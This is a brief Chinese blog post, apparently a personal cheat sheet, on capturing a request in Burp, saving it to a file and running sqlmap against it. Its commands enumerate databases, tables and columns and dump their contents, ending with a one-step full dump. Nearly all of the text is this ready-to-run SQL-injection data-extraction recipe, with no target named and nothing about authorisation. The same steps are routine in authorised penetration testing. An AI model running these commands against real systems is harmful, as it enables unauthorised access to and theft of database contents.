博客介绍了使用burp抓包并将数据存为文件，随后利用sqlmap.py工具进行数据库爆破的方法。包括爆数据库名、表名、表中字段以及字段值等操作，还给出了更直接的爆破命令，爆破过程耗时较长。
burp抓包，将抓到数据存为 xxx.txt
爆数据库
sqlmap.py -r xxx.txt --dbs --batch
爆表名
sqlmap.py -r xxx.txt -d 数据库名 --table --batch
爆表中的字段
sqlmap.py -r xxx.txt -d 数据库名 -t 表名 --columns --batch
爆字段中的值
sqlmap.py -r xxx.txt -d 数据库名 -t 表名 -c '字段名' --dump --batch
更直接的爆破
sqlmap.py -r xxx.txt --dump --batch
这次时间稍长，爆破的时候可以小憩了。。。
扫一扫
888
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
